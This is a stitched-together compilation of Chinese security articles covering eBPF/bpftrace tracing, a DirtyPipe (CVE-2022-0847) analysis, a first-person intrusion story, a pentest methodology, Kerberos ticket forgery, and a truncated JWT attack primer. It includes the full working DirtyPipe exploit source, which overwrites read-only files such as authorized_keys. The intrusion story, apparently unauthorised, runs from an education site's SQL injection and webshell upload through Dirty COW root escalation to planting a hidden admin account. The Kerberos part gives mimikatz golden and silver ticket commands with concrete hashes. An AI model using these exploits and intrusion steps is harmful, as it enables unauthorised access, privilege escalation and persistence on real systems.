} minimal.bpf.c会被clang 编译器编译为ebpf字节码,然后通过bpftool将其转换为minimal.skel.h头文件,以供minimal.c使用。 此代码中定义并初始化了一个全局变量my_pid,经过编译连接后此变量会进入elf文件的bss段中。 然后,代码中定义了一个函数int handle_tp(void *ctx),此函数中通过调用bpf_get_current_pid_tgid() >> 32获取到调用此函数的进程pid 然后比较pid与my_pid的值,如果相同则调用bpf_printk输出"BPF triggered from PID %d\n” 这里由于handle_tp函数是通过SEC宏附加在write系统调用上,所以在调用write()时,handle_tp也会被调用,从而实现追踪系统调用的功能。 SEC宏在bpf程序中处于非常重要的地位。可以参考https://libbpf.readthedocs.io/en/latest/program_types.html SEC宏可以指定ebpf函数附加的点,包括系统调用,静态tracepoint,动态的kprobe和uprobe,以及USDT等等。 Lib 通过llvm-objdump 可以看到编译后的epbf程序文件包含一个以追踪点命名的section ebpf字节码dump ebpf程序可以使用llvm-objdump -d dump 出ebpf字节码 bpftrace bpftrace 提供了一种类似awk 的脚本语言,通过编写脚本,配合bpftrace支持的追踪点,可以实现非常强大的追踪功能 安装 sudo apt-get update sudo apt-get install -y \ bison \ cmake \ flex \ g++ \ git \ libelf-dev \ zlib1g-dev \ libfl-dev \ systemtap-sdt-dev \ binutils-dev \ libcereal-dev \ llvm-12-dev \ llvm-12-runtime \ libclang-12-dev \ clang-12 \ libpcap-dev \ libgtest-dev \ libgmock-dev \ asciidoctor git clone htt bpftrace命令行参数 # bpftrace USAGE:   bpftrace [options] filename   bpftrace [options] -e 'program' OPTIONS:    -B MODE       output buffering mode ('line', 'full', or 'none')    -d             debug info dry run    -dd           verbose debug info dry run    -e 'program'   execute this program    -h             show this help message    -I DIR         add the specified DIR to the search path for include files.    --include FILE adds an implicit #include which is read before the source file is preprocessed.    -l [search]   list probes    -p PID         enable USDT probes on PID    -c 'CMD'       run CMD and enable USDT probes on resulting process    -q             keep messages quiet    -v             verbose messages    -k             emit a warning when a bpf helper returns an error (except read functions)    -kk           check all bpf helper functions    --version     bpftrace version ENVIRONMENT:   BPFTRACE_STRLEN             [default: 64] bytes on BPF stack per str()   BPFTRACE_NO_CPP_DEMANGLE   [default: 0] disable C++ symbol demangling   BPFTRACE_MAP_KEYS_MAX       [default: 4096] max keys in a map   BPFTRACE_MAX_PROBES         [default: 512] max number of probes bpftrace can attach to   BPFTRACE_MAX_BPF_PROGS     [default: 512] max number of generated BPF programs   BPFTRACE_CACHE_USER_SYMBOLS [default: auto] enable user symbol cache   BPFTRACE_VMLINUX           [default: none] vmlinux path used for kernel symbol resolution   BPFTRACE_BTF               [default: none] BTF file EXAMPLES: bpftrace -l '*sleep*'   list probes containing "sleep" bpftrace -e 'kprobe:do_nanosleep { printf("PID %d sleeping...\n", pid); }'   trace processes calling sleep bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'   count syscalls by process name bpftrace程序语法规则 bpftrace语法由以下一个或多个action block结构组成,且语法关键字与c语言类似 probe[,probe] /predicate/ {  action } probe:探针,可以使用bpftrace -l 来查看支持的所有tracepoint和kprobe探针 Predicate(可选):在 / / 中指定 action 执行的条件。如果为True,就执行 action action:在事件触发时运行的程序,每行语句必须以 ; 结尾,并且用{}包起来 //:单行注释 /**/:多行注释 ->:访问c结构体成员,例如:bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' struct:结构声明,在bpftrace脚本中可以定义自己的结构 https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#languagebpftrace 单行指令 bpftrace -e 选项可以指定运行一个单行程序 1、追踪openat系统调用 bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' 2、系统调用计数 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' 3、计算每秒发生的系统调用数量 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { print(@); clear(@); }' bpftrace脚本文件 还可以将bpftrace程序作为一个脚本文件,并且使用shebang#!/usr/local/bin/bpftrace可以使其独立运行 例如: 1 #!/usr/local/bin/bpftrace 2 3 tracepoint:syscalls:sys_enter_nanosleep 4 { 5   printf("%s is sleeping.\n", comm); 6 } bpftrace探针类型 bpftrace支持以下类型的探针: kprobe- 内核函数启动 kretprobe- 内核函数返回 uprobe- 用户级功能启动 uretprobe- 用户级函数返回 tracepoint- 内核静态跟踪点 usdt- 用户级静态跟踪点 profile- 定时采样 interval- 定时输出 software- 内核软件事件 hardware- 处理器级事件
DirtyPipe(CVE-2022-0847)漏洞分析
前言 CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。 调试环境 ubuntu 20.04 Linux-5.16.10 qemu-system-x86_64 4.2.1 漏洞验证 首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中 漏洞分析 以poc作为切入点,分析漏洞成因 首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。 ... if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } ... 在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。 随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在 ... for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } ... 紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。 ... ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); ... 在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。 后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。 这里记录一下物理页的地址 最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部 ... nbytes = write(p[1], data, data_size); ... 由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑 最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page中 可以看到buf->page与page地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中 补丁 补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程 总结 DirtyPipe攻击流程 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位 清空管道缓冲区 使用splice函数获取文件所对应的物理页 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作 DirtyPipe利用的限制 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据) 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页 完整的poc /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 #39;\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have   the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but   leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new   pipe_buffer without initializing its "flags", the buffer   will be mergeable */ } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); return EXIT_FAILURE; } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary\n"); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); return EXIT_FAILURE; } /* create the pipe with all flags initialized with   PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the   pipe; this will add a reference to the page cache, but   since copy_page_to_iter_pipe() does not initialize the   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but   will instead write into the page cache, because of the   PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write\n"); return EXIT_FAILURE; } printf("It worked!\n"); return EXIT_SUCCESS; }
从发现SQL注入到ssh连接
前言: 某天,同事扔了一个教育站点过来,里面的url看起来像有SQL注入。正好最近手痒痒,就直接开始。 一、发现时间盲注和源码 后面发现他发的url是不存在SQL注入的,但是我在其他地方发现了SQL盲注。然后改站点本身也可以下载试用源代码,和该站点是同一套系统: 一开始的思路是直接用时间盲注写马,然后遇到的问题就是如何获取站点的绝对路径。通过sqlmap自带的字典去爆破,发现都失效了。(但是其实只是没写成功,不代表路径是不对。)那么接下来的思路就在源码上了。从源码里面没有找到啥可以直接未授权getshell的点。后面在本地搭建这套系统时,发现了其配置信息都在网站目录下的configure.php,后面就是尝试使用sqlmap读取文件。通过猜测,发现了站点的路径为/var/www/html/{站点域名}下面。然后再回头尝试写马,还是失败。但是可以读取文件。然后写了个脚本去跑,成功获取数据库账号密码: Nmap一试,3306开放,心中窃喜。使用mysql连接的时候,发现root登录被做了限制,只能使用localhost进行登录。然后也通过sqlmap获取到其他账号,有的可以登录,但是都因为权限小,无法写马。 二、惊现上传漏洞 写马失败后,想着查询下数据库里面的管理员密码,登录后台看看有没有可利用的点。后面又回过头来看源码了。一边放着dump数据,一边又发现了新东西,这站点存在ckfinder和ckeditor编辑器,但是一个无法访问,一个无法上传木马。 就在我想破脑袋也没想到还有啥办法之时,我同事那边来了个好消息。他从旁站获取到了测试账号密码: 然后他在个人资料处发现了一些功能点,发现了一堆xss和csrf、会话固定后,最后测了一下上传点 这个上传点如果你直接上传php是可以上传成功的,但是路径找不到。很奇怪。 不过如果你先上传一个jpg文件,就会发现图片路径为upload/fileimages/ew00000000040/user_photoa009.jpg 然后再通过bp修改文件扩展名为php,重新上传,就可以成功在前端看到php的路径: 通过抓包分析,我们发现他存在一个http_user字段可控,并且只在前端校验文件类型得到重命名组合为user_photo# 直接写入phpinfo(),发现解析了,上蚁剑: 成功getshell。 三、脏牛提权 虽然成功获取权限,但是这权限很低,有执行权限,但是很多操作都被限制。前面有获取数据库账号密码,在获取webshell后,可直接连接mysql数据库: 这时候可以考虑udf提权,但是尝试发现没有/usr/lib64/mysql/plugin/路径的上传权限。那么久只能通过常规的提权了。使用工具linux-exploit-suggester。 发现很多种方式可以提权,但是我用kali编译完的程序上传到目标机上,发现运行不了。后面直接在目标机编译,也出现确实一些库文件,好像因为目标机版本太低了。后面参考了这篇文章,成功进行提权。 四、SSH连接 这个提权会删除root用户,新建一个用户firefart。本来还在考虑使用内网穿透把22端口代理出来,然后直接ssh连接。但是渗透步骤不规范就会导致我这样的结果:他的ssh并不是22端口,而是999端口。我信息收集的时候没有发现到位。当时一开始看没有22端口,所以才顺势觉得要穿透进去。但是其实人家999端口就是ssh。接下来就是成功使用ssh连接。 但是有个问题又出现了:如果我想连接ssh,那么久只能使用这个账户登录,因为我不知道root密码。但是这样的话,人家登录不了root就会发现异常。但是如果我把root恢复了,我就没有root权限了。 诶,后面我在想,如果我把原始的passwd文件恢复,然后不断开ssh连接是不是我还能有权限操作呢?说干就干,使用firefart执行mv /tmp/passwd.bak /etc/passwd恢复原本的账户。然后ssh不断开,我发现我还是root权限。这就好办了。useradd新建账号edu,然后把新建的账户加入管理员组。 使用新账号edu进行登录,发现为root权限,成功! 这时候才把原本firefart账号的窗口关闭。重新再使用firefart账户登录,发现已经无法登录了。看来这应该是系统的一种机制吧,哈哈哈。 结尾 这次渗透其实走了很多弯路,到最后都没用上数据库。很多时候一个点打不进去的时候,适当的放弃,去打新的点,不要太头铁,特别是攻防的时候。 总结一下:发现盲注,源码到跑取站点账号密码(时间盲注效率低到我现在还没跑出后台管理账户密码),无果。到从旁站上传木马,获取网站服务器权限,权限较低,使用脏牛提权,到后面的恢复原本的账户,并新建一个管理员。其实这个站点是还有内网在,貌似是教育局办公内网,但目前还在尝试,后续会随缘更新。
我的渗透测试方法论
0x01 渗透测试概述 渗透测试:比较官方的解释可以查看百度百科,我的理解为渗透测试就是通过一些手段找到网站、APP、网络服务、软件、服务器等网络设备和应用的漏洞,告知管理员有哪些漏洞,应该怎么填补以防止入侵。 下图,为我在学习课程之前了解到的渗透测试流程: 而本次课程中,将渗透测试的流程就更加简化了,总共分为了三个步骤 —— 信息收集阶段:通过已知信息去收集渗透测试目标所有暴露在边界上的系统和信息,从而掌握目标外围所有可能访问到的资产信息 漏洞发现阶段:对收集到的资产进行划分,然后针对不同的目标执行不同的测试方案 报告编写阶段:将之前的所有成果进行汇总,将测试的方法、流程、结果以及漏洞修复建议体现在报告中 其中可以使用脚本自动化完成的步骤为信息收集和漏洞发现,接下来我就来具体介绍一下课程中关于这两个部分的内容 0x02 信息收集阶段 资产范围 → 子域名数据 → 域名对应的IP数据 通常情况下,我们拿到的资产范围都是一些域名列表,类似于下图 所以,我们第一步需要做的工作通常是收集主域名下的子域名与其对应的IP 具体步骤如下: 在获取到目标资产范围后,先进行第三方平台的子域名信息收集,使用到的工具有oneforall(国内)和amass(国外) 使用子域名枚举工具ksubdomain的enum模块,利用子域名字典对目标进行子域名枚举,获取相应数据 将前两步收集到的信息去重后传入域名字典生成工具dnsgen生成新的域名字典 使用子域名枚举工具ksubdomain的verify模块,利用新生成的域名字典进行域名枚举,获取相应数据,值得注意的是,verify模块产生的数据不会对泛解析域名进行处理,这里还需要增加一个处理泛解析域名的操作 将所有的得到的数据汇总去重,即可得到一份子域名 + IP的目标数据 子域名与IP的映射关系 → 获取http://domain:port格式的URL数据 仅仅知道站点域名是不足以确定一个WEB站点的,所以我们还需要获取其WEB服务对应的端口号,最终拿到对应的URL数据 想要通过域名IP数据获取URL数据方式有三种,可以根据个人需求选择对应的方式进行操作: 方式一:直接使用naabu工具进行收集,输入域名列表,输出http://domain:port格式的URL数据,但是速度很慢 方式二:使用Nmap工具的-sV参数对IP列表进行扫描,能够直接获取IP开放的端口和对应的服务信息,通过对服务信息的分类能够获取到开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http://domain:port格式的URL数据。这种方式不复杂,但是速度也不算快,建议针对单个站点使用 方式三:使用Masscan对IP列表进行扫描,获取其开放的端口,然后使用fingerprintx工具进行端口指纹识别,获取其中的开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http://domain:port格式的URL数据。这种方式经过测试,速度是方式二的两到三倍 URL数据 → 站点验活 → 站点去重 → 站点指纹识别 + WAF检测 → 目标站点列表 在获取到URL数据之后,我们可以对每个URL进行进一步的验证,排除掉所有失活的站点,再基于站点哈希值进行去重,最后排除掉存在WAF站点,即可获取最终的目标站点列表,然后可以根据需求进行站点指纹识别,为NDay漏洞的利用做准备 站点信息收集的具体步骤如下 : 使用httpx工具收集所有URL对应站点的哈希值,工具会默认排除失活站点,然后根据哈希值进行去重 使用wafw00f工具对所有存活的站点进行WAF验证,排除掉存在WAF的站点并收集WAF指纹数据入库(若没有WAF指纹识别的需求,仅仅只是进行排除,也可以自己编写WAF判定的脚本),获取经过筛选的站点作为目标站点数据保存下来 如果有需求,可以通过TideFinger工具收集目标站点的站点指纹信息进行入库/存入文件 目标站点列表 → 站点列表 在获取到站点列表之后,需要寻找注入点,即网站的接口(GET、POST传参的参数) 寻找网站接口的方式有二: 方式一:通过接口字典枚举的方式寻找,用到的工具是x8,需要指定对应的参数字典,这个方式效率不高,在站点数量较少的时候可以尝试用 方式二:使用网站爬虫的方式寻找公开的接口信息,用到的工具是gospider,这款爬虫工具为动态爬虫,利用无头浏览器,可以动态加载网页中的 JavaScript 脚本,相比静态爬虫可以获取 POST 请求中的参数,以及可以利用 API 进行数据交互 在收集完网站接口数据之后,可以利用uro工具对数据进行去重,避免重复操作 总结 至此,信息收集步骤已经全部完成,我们再来回顾一下 —— 收集目标站点资产范围,通常为域名范围 子域名收集 WEB端口收集,汇总为URL数据 URL去重、验活以及排除存在WAF的站点 站点指纹识别,信息入库 站点接口数据收集 0x03 自动化测试 在之前的信息收集步骤中,我们获取了目标站点的URL数据和接口数据,接下来,就可以利用这些数据进行自动化测试了 在开始前,我们需要了解一下常见的漏洞扫描以及模糊测试工具 其中弱口令枚举工具是对一些非WEB端口可能存在弱口令的应用进行测试;而漏扫工具和Fuzzing工具则是针对WEB服务进行测试 AVWS和AppScan通常是使用针对单个站点进行漏扫的工具,简单易用但是扩展性较差 而这里重点介绍xray工具的使用思路—— 被动扫描:在进行手工测试的时候,可以开启xray的被动扫描模式,让它帮助你做一些常见WEB漏洞的探测,而人工的重心可以放在逻辑漏洞的发现上 主动探测:利用xray的主动探测功能对站点接口收集阶段的接口数据进行探测 联动Crawlergo进行探测:先用Crawlergo对站点的URL数据进行爬取,再将流量转发给xray对得到的数据进行探测 这三款工具都能自动生成漏洞扫描报告,报告编写可以将其作为参考资料 0x04 总结 最后的最后,放一张图来总结一下这次渗透实训的整体思路,以上就是我这次参加实训的所有收获。 本文转自信安之路 ,作者:H1kki
域0day-(CVE-2022-33679)容易利用吗
前言 最近twitter上关于CVE,应该是CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。 kerberos认证原理 先了解几个概念 认证服务(Authentication server):简称AS,认证客户端身份提供认证服务。 域控服务器(Domain Control):即DC。 服务票据(Server Ticket):简称ST,在Kerberos认证中,客户端请求的服务通过ST票据认证。 票据授予服务(Ticket Granting server):简称TGS,颁发服务票据(server ticket)。 活动目录(Active Directory):简称AD,包含了域中所有的对象(用户,计算机,组等) KDC密钥颁发中心(KDC):域控担任 特权属性证书(Privilege Attribute Certificate):简称PAC,所包含的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。 下图为Kerberos的认证过程: 一个完整的认证流程基本上分为8个步骤 1.客户端用户向KDC发送请求,包含用户名,主机名和时间戳。AS接收请求 2.AS对客户端用户身份认证后给客户端返回票据授予票据 3.客户端使用TGT到票据分发服务(TGS)请求访问服务器A的服务票据(ST) 4.TGS给客户端分发ST 5.客户端使用ST请求服务器A 6.服务器A解密ST票据得到特权属性证书PAC,服务器A请求域控AD需确认用户权限 7.域控将PAC解密获取用户SID和用户权限的结果返回给服务器A 8.用户身份符合则进行第最后的返回信息,整个Kerberos认证结束。 黄金票据 原理: Kerberos黄金票据是有效的TGT Kerberos票据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。 相当于跳过上面图片中过的步骤一和步骤二,直接伪造TGT 实验 这里利用星海安全实验室的靶场环境 环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2 域内主机:192.168.10.14 操作系统:win7 使用条件: 域管SID 域名 域控KRBTGT账号的HASHntlm(hash) whoami /all lsadump::dcsync /domain:starseaseclab.com /user:krbtgt sid:S-1-5-21-1719736279-3906200060-616816393 htlm(hash):5e31f755b33b621bede0946b044908e4 domian:starseaseclab.com 域内主机win-7 privilege::debug kerberos::purge //清空票据防止缓存影响 Kerberos::golden /user:administrator /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4 /ptt   //伪造金票注入内存 白银票据 原理 黄金票据是伪造TGT,在kerberos认证中忽略前两步,白银票据就是直接伪造ST whoami /all sid: S-1-5-21-1719736279-3906200060-616816393 sekurlsa::logonpasswords 伪造票据 Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //伪造银票注入内存 利用MS14-068(CVE-2016-6324) 域内用户提升至域控 条件 : 域内用户名以及hash sid值 域名 域控ip ms-14-068.exe -u   域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip kerberos::ptc "票据"   //将票据注入内存 黄金票据和白银票据的区别 访问权限不同: Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 Silver Ticket:伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket由Kerberos的Hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket的利用过程需要访问域控, Silver Ticket不需要 CVE-2022-33679 攻击的过程分为下面几个步骤 攻击者发送一个没有预授权的 AS-REQ 请求 RC4-MD4 密钥加密。如果用户不需要预授权,KDC 将发回一个 AS-REP,其中包含使用 RC4-MD4 加密的会话密钥等。 根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的位置。 根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。 使用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅使用 KerberosTime,则大小将恰好为 0x15 字节,即带有初始填充的 0x2D。 在新的 AS-REQ 中发送加密的时间戳以验证密钥流是否正确。 如果将客户端和 KDC 降级为使用 RC4-MD4,攻击者可以让 KDC 使用 RC4-MD4 会话密钥作为初始 TGT,它只有 40 位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的 TGS 请求。 攻击图解 在请求TGT的第一阶段爆破第一个字节的图解 获取最后一个字节的过程图解 CVE提交者的POC显示已删除,github上披露的EXP已经没了。 项目下载地址: https://github.com/GhostPack/Rubeus 需要重新编译一下,Rubeus的V2.1.2实际上也没找到历史发布版本,目前最新版本未V2.2.1 该版本无法使用cve-2022-33679伪造TGT。该漏洞就利用方式来说跟黄金票据有点儿类似,通过EXP绕过Kerberos认证协议中的第一和第二步骤,直接向TGS请求ST。 总结 资料还是有限,没有复现成功,但是就原理来说,结合Kerberos认证原理还是比较清晰。CVE-2022-33679的使用也是有使用条件,需要设置“不需要 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在利用手段上来讲应该是比较苛刻。(如有错误还请各位指出)
浅析JWT Attack
前言 在2022祥云杯时遇到有关JWT的题,当时没有思路,对JWT进行学习后来对此进行简单总结,希望能对正在学习JWT的师傅们有所帮助。 JWT JWT,即JSON WEB TOKEN,它是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,是一种标准化的格式,用于在系统之间发送经过加密签名的JSON数据,理论上可以包含任何类型的数据,但最常用于发送关于用户的信息(“声明”),以进行身份认证、会话处理和访问控制。 简单了解了它的定义后,我们接下来来看一下JWT的组成部分它分为三个部分,如下所示 1、Headers:头部 2、Payload:有效载荷 3、Signature:签名 这三个部分以.符号来连接,所以JWT的格式通常是xxx.yyy.zzz这种样子 Headers Headers通常由两部分组成,令牌的类型和签名算法,常见的算法有很多种,例如 HMAC SHA256或 RSA。但它也还有一个kid参数,这是一个可选参数,全称是key ID,它用于指定加密算法的密钥。 示例如下 ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9 这就是一个Headers,当我们对它进行Base64解码就可以看到它的具体内容,具体如下 {  "alg": "HS256",  "typ": "JWT" } alg指的就是算法,这里的算法就是HS256,typ指的是令牌类型。这里需要说明一点,就是明文在加密时其实采用的是Base64URL加密,这种加密方式并非Base64encode+URLencode,而是对一些特殊字符进行了替换,具体说明如下 JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。 Payload 有效载荷就是存放有效信息的地方,其中包含声明。声明包含三个部分 1、已注册声明这个部分的话就是已经预先定义过的声明,常见的声明主要有以下几种 iss: jwt签发者 sub: jwt所面向的用户 aud: 接收jwt的一方 exp: jwt的过期时间,这个过期时间必须要大于签发时间 nbf: 定义在什么时间之前,该jwt都是不可用的. iat: jwt的签发时间 jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。 2、公共的声明这些可以由使用 JWT 的人随意定义,一般用于添加用户的相关信息或其他业务需要的必要信息。但不建议添加敏感信息,因为该部分在客户端可进行解码.3、私有的声明这些是为在同意使用它们的各方之间共享信息而创建的自定义声明,私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息。 示例如下 ewoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ 进行base64URL解码,结果如下 { "sub": "admin", //jwt所面向的用户    "user_role" : "admin",   //当前登录用户    "iss": "admin",         //该JWT的签发者,有些是URL    "iat": 1573440582,        //签发时间    "exp": 1573940267,        //过期时间    "nbf": 1573440582,        //该时间之前不接收处理该Token    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识 } Signature 由于头部和有效载荷以明文形式存储,因此,需要使用签名来防止数据被篡改。所以这部分是一个签证信息,这个签证信息由三部分组成 1、header (base64URL编码) 2、payload (base64URL编码) 3、secret(密钥) 它的计算方式如下 Signature=HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret) //假设这里是HS256算法,如果是其他算法的话开头设置为其他算法即可 现在了解了JWT的大致作用和其组成,接下来来学习一下JWT攻击。 JWT 攻击 JWT攻击有多种情况,现在来对其进行逐一讲解。 敏感信息泄露 JWT保证的是数据传输过程中的完整性而不是机密性。 因为JWT的payload部分是使用Base64url编码的,所以它其实是相当于明文传输的,当payload中携带了敏感信息时,我们对payload部分进行Base64url解码,就可以读取到payload中携带的敏感信息。 靶场演示 题目链接https://www.ctfhub.com/#/skilltree题目描述如下 JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{} 进入环境后发现一个登录框 